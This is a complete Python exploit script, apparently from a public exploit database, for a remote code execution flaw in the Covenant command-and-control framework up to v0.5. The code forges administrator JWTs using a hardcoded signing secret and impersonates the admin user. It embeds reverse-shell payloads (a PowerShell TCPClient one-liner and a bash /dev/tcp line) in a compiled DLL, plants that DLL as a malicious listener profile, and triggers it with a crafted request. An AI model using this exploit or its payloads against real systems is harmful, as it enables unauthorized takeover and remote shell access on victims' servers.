Covenant v0.5 – Remote Code Execution (RCE)
# Exploit Title: Covenant v0.5 - Remote Code Execution (RCE) # Exploit Author: xThaz # Author website: https://xthaz.fr/ # Date: 2022-09-11 # Vendor Homepage: https://cobbr.io/Covenant.html # Software Link: https://github.com/cobbr/Covenant # Version: v0.1.3 - v0.5 # Tested on: Windows 11 compiled covenant (Windows defender disabled), Linux covenant docker # Vulnerability ## Discoverer: coastal ## Date: 2020-07-13 ## Discoverer website: https://blog.null.farm ## References: ## - https://blog.null.farm/hunting-the-hunters ## - https://github.com/Zeop-CyberSec/covenant_rce/blob/master/covenant_jwt_rce.rb # !/usr/bin/env python3 # encoding: utf-8 import jwt # pip3 install PyJWT import json import warnings import base64 import re import random import argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning from Crypto.Hash import HMAC, SHA256 # pip3 install pycryptodome from Crypto.Util.Padding import pad from Crypto.Cipher import AES from requests import request # pip3 install requests from subprocess import run from pwn import remote, context # pip3 install pwntools from os import remove, urandom from shutil import which from urllib.parse import urlparse from pathlib import Path from time import time def check_requirements(): if which("mcs") is None: print("Please install the mono framework in order to compile the payload.") print("https://www.mono-project.com/download/stable/") exit(-1) def random_hex(length): alphabet = "0123456789abcdef" return ''.join(random.choice(alphabet) for _ in range(length)) def request_api(method, token, route, body=""): warnings.simplefilter('ignore', InsecureRequestWarning) return request( method, f"{args.target}/api/{route}", json=body, headers={ "Authorization": f"Bearer {token}", "Content-Type": "application/json" }, verify=False ) def craft_jwt(username, userid=f"{random_hex(8)}-{random_hex(4)}-{random_hex(4)}-{random_hex(4)}-{random_hex(12)}"): secret_key = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC' payload_data = { "sub": username, "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid, "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [ "User", "Administrator" ], "exp": int(time()) + 360, "iss": "Covenant", "aud": "Covenant" } token = jwt.encode(payload_data, secret_key, algorithm='HS256') return token def get_id_admin(token, json_roles): id_admin = "" for role in json_roles: if role["name"] == "Administrator": id_admin = role["id"] print(f"\t[*] Found the admin group id : {id_admin}") break else: print("\t[!] Did not found admin group id, quitting !") exit(-1) id_admin_user = "" json_users_roles = request_api("get", token, f"users/roles").json() for user_role in json_users_roles: if user_role["roleId"] == id_admin: id_admin_user = user_role["userId"] print(f"\t[*] Found the admin user id : {id_admin_user}") break else: print("\t[!] Did not found admin id, quitting !") exit(-1) json_users = request_api("get", token, f"users").json() for user in json_users: if user["id"] == id_admin_user: username_admin = user["userName"] print(f"\t[*] Found the admin username : {username_admin}") return username_admin, id_admin_user else: print("\t[!] Did not found admin username, quitting !") exit(-1) def compile_payload(): if args.os == "windows": payload = '"powershell.exe", "-nop -c \\"$client = New-Object System.Net.Sockets.TCPClient(\'' + args.lhost + '\',' + args.lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\""' else: payload = '"bash", "-c \\"exec bash -i &>/dev/tcp/' + args.lhost + '/' + args.lport + ' <&1\\""' dll = """using System; using System.Reflection; namespace ExampleDLL{ public class Class1{ public Class1(){ } public void Main(string[] args){ System.Diagnostics.Process.Start(""" + payload + """); } } } """ temp_dll_path = f"/tmp/{random_hex(8)}" Path(f"{temp_dll_path}.cs").write_bytes(dll.encode()) print(f"\t[*] Writing payload in {temp_dll_path}.cs") compilo_path = which("mcs") compilation = run([compilo_path, temp_dll_path + ".cs", "-t:library"]) if compilation.returncode: print("\t[!] Error when compiling DLL, quitting !") exit(-1) print(f"\t[*] Successfully compiled the DLL in {temp_dll_path}.dll") dll_encoded = base64.b64encode(Path(f"{temp_dll_path}.dll").read_bytes()).decode() remove(temp_dll_path + ".cs") remove(temp_dll_path + ".dll") print(f"\t[*] Removed {temp_dll_path}.cs and {temp_dll_path}.dll") return dll_encoded def generate_wrapper(dll_encoded): wrapper = """public static class MessageTransform { public static string Transform(byte[] bytes) { try { string assemblyBase64 = \"""" + dll_encoded + """\"; var assemblyBytes = System.Convert.FromBase64String(assemblyBase64); var assembly = System.Reflection.Assembly.Load(assemblyBytes); foreach (var type in assembly.GetTypes()) { object instance = System.Activator.CreateInstance(type); object[] args = new object[] { new string[] { \"\" } }; try { type.GetMethod(\"Main\").Invoke(instance, args); } catch {} } } catch {} return System.Convert.ToBase64String(bytes); } public static byte[] Invert(string str) { return System.Convert.FromBase64String(str); } }""" return wrapper def upload_profile(token, wrapper): body = { 'httpUrls': [ '/en-us/index.html', '/en-us/docs.html', '/en-us/test.html' ], 'httpRequestHeaders': [ {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 ' 'Safari/537.36'}, {'name': 'Cookie', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'} ], 'httpResponseHeaders': [ {'name': 'Server', 'value': 'Microsoft-IIS/7.5'} ], 'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73', 'httpGetResponse': '{DATA}', 'httpPostResponse': '{DATA}', 'id': 0, 'name': random_hex(8), 'description': '', 'type': 'HTTP', 'messageTransform': wrapper } response = request_api("post", token, "profiles/http", body) if not response.ok: print("\t[!] Failed to create the listener profile, quitting !") exit(-1) else: profile_id = response.json().get('id') print(f"\t[*] Profile created with id {profile_id}") print("\t[*] Successfully created the listener profile") return profile_id def generate_valid_listener_port(impersonate_token, tries=0): if tries >= 10: print("\t[!] Tried 10 times to generate a listener port but failed, quitting !") exit(-1) port = random.randint(8000, 8250) # TO BE EDITED WITH YOUR TARGET LISTENER PORT listeners = request_api("get", impersonate_token, "listeners").json() port_used = [] for listener in listeners: port_used.append(listener["bindPort"]) if port in port_used: print(f"\t[!] Port {port} is already taken by another listener, retrying !") generate_valid_listener_port(impersonate_token, tries + 1) else: print(f"\t[*] Port {port} seems free") return port def get_id_listener_type(impersonate_token, listener_name): response = request_api("get", impersonate_token, "listeners/types") if not response.ok: print("\t[!] Failed to get the listener type, quitting !") exit(-1) else: for listener_type in response.json(): if listener_type["name"] == listener_name: print(f'\t[*] Found id {listener_type["id"]} for listener {listener_name}') return listener_type["id"] def generate_listener(impersonate_token, profile_id): listener_port = generate_valid_listener_port(impersonate_token) listener_name = random_hex(8) data = { 'useSSL': False, 'urls': [ f"http://0.0.0.0:{listener_port}" ], 'id': 0, 'name': listener_name, 'bindAddress': "0.0.0.0", 'bindPort': listener_port, 'connectAddresses': [ "0.0.0.0" ], 'connectPort': listener_port, 'profileId': profile_id, 'listenerTypeId': get_id_listener_type(impersonate_token, "HTTP"), 'status': 'Active' } response = request_api("post", impersonate_token, "listeners/http", data) if not response.ok: print("\t[!] Failed to create the listener, quitting !") exit(-1) else: print("\t[*] Successfully created the listener") listener_id = response.json().get("id") return listener_id, listener_port def create_grunt(impersonate_token, data): stager_code = request_api("put", impersonate_token, "launchers/binary", data).json()["stagerCode"] if stager_code == "": stager_code = request_api("post", impersonate_token, "launchers/binary", data).json()["stagerCode"] if stager_code == "": print("\t[!] Failed to create the grunt payload, quitting !") exit(-1) print("\t[*] Successfully created the grunt payload") return stager_code def get_grunt_config(impersonate_token, listener_id): data = { 'id': 0, 'listenerId': listener_id, 'implantTemplateId': 1, 'name': 'Binary', 'description': 'Uses a generated .NET Framework binary to launch a Grunt.', 'type': 'binary', 'dotNetVersion': 'Net35', 'runtimeIdentifier': 'win_x64', 'validateCert': True, 'useCertPinning': True, 'smbPipeName': 'string', 'delay': 0, 'jitterPercent': 0, 'connectAttempts': 0, 'launcherString': 'GruntHTTP.exe', 'outputKind': 'consoleApplication', 'compressStager': False } stager_code = create_grunt(impersonate_token, data) aes_key = re.search(r'FromBase64String\(@\"(.[A-Za-z0-9+\/=]{40,50}?)\"\);', stager_code) guid_prefix = re.search(r'aGUID = @"(.{10}[0-9a-f]?)";', stager_code) if not aes_key or not guid_prefix: print("\t[!] Failed to retrieve the grunt configuration, quitting !") exit(-1) aes_key = aes_key.group(1) guid_prefix = guid_prefix.group(1) print(f"\t[*] Found the grunt configuration {[aes_key, guid_prefix]}") return aes_key, guid_prefix def aes256_cbc_encrypt(key, message): iv_bytes = urandom(16) key_decoded = base64.b64decode(key) encoded_message = pad(message.encode(), 16) cipher = AES.new(key_decoded, AES.MODE_CBC, iv_bytes) encrypted = cipher.encrypt(encoded_message) hmac = HMAC.new(key_decoded, digestmod=SHA256) signature = hmac.update(encrypted).digest() return encrypted, iv_bytes, signature def trigger_exploit(listener_port, aes_key, guid): message = "<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>" ciphered, iv, signature = aes256_cbc_encrypt(aes_key, message) data = { "GUID": guid, "Type": 0, "Meta": '', "IV": base64.b64encode(iv).decode(), "EncryptedMessage": base64.b64encode(ciphered).decode(), "HMAC": base64.b64encode(signature).decode() } json_data = json.dumps(data).encode("utf-8") payload = f"i=a19ea23062db990386a3a478cb89d52e&data={base64.urlsafe_b64encode(json_data).decode()}&session=75db-99b1-25fe4e9afbe58696-320bea73" if send_exploit(listener_port, "Cookie", guid, payload): print("\t[*] Exploit succeeded, check listener") else : print("\t[!] Exploit failed, retrying") if send_exploit(listener_port, "Cookies", guid, payload): print("\t[*] Exploit succeeded, check listener") else: print("\t[!] Exploit failed, quitting") def send_exploit(listener_port, header_cookie, guid, payload): context.log_level = 'error' request = f"""POST /en-us/test.html HTTP/1.1\r Host: {IP_TARGET}:{listener_port}\r User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\r {header_cookie}: ASPSESSIONID={guid}; SESSIONID=1552332971750\r Content-Type: application/x-www-form-urlencoded\r Content-Length: {len(payload)}\r \r {payload} """.encode() sock = remote(IP_TARGET, listener_port) sock.sendline(request) response = sock.recv().decode() sock.close() if "HTTP/1.1 200 OK" in response: return True else: return False if __name__ == "__main__": check_requirements() parser = argparse.ArgumentParser() parser.add_argument("target", help="URL where the Covenant is hosted, example : https://127.0.0.1:7443") parser.add_argument("os", help="Operating System of the target", choices=["windows", "linux"]) parser.add_argument("lhost", help="IP of the machine that will receive the reverse shell") parser.add_argument("lport", help="Port of the machine that will receive the reverse shell") args = parser.parse_args() IP_TARGET = urlparse(args.target).hostname print("[*] Getting the admin info") sacrificial_token = craft_jwt("xThaz") roles = request_api("get", sacrificial_token, "roles").json() admin_username, admin_id = get_id_admin(sacrificial_token, roles) impersonate_token = craft_jwt(admin_username, admin_id) print(f"\t[*] Impersonated {[admin_username]} with the id {[admin_id]}") print("[*] Generating payload") dll_encoded = compile_payload() wrapper = generate_wrapper(dll_encoded) print("[*] Uploading malicious listener profile") profile_id = upload_profile(impersonate_token, wrapper) print("[*] Generating listener") listener_id, listener_port = generate_listener(impersonate_token, profile_id) print("[*] Triggering the exploit") aes_key, guid_prefix = get_grunt_config(impersonate_token, listener_id) trigger_exploit(listener_port, aes_key, f"{guid_prefix}{random_hex(10)}") |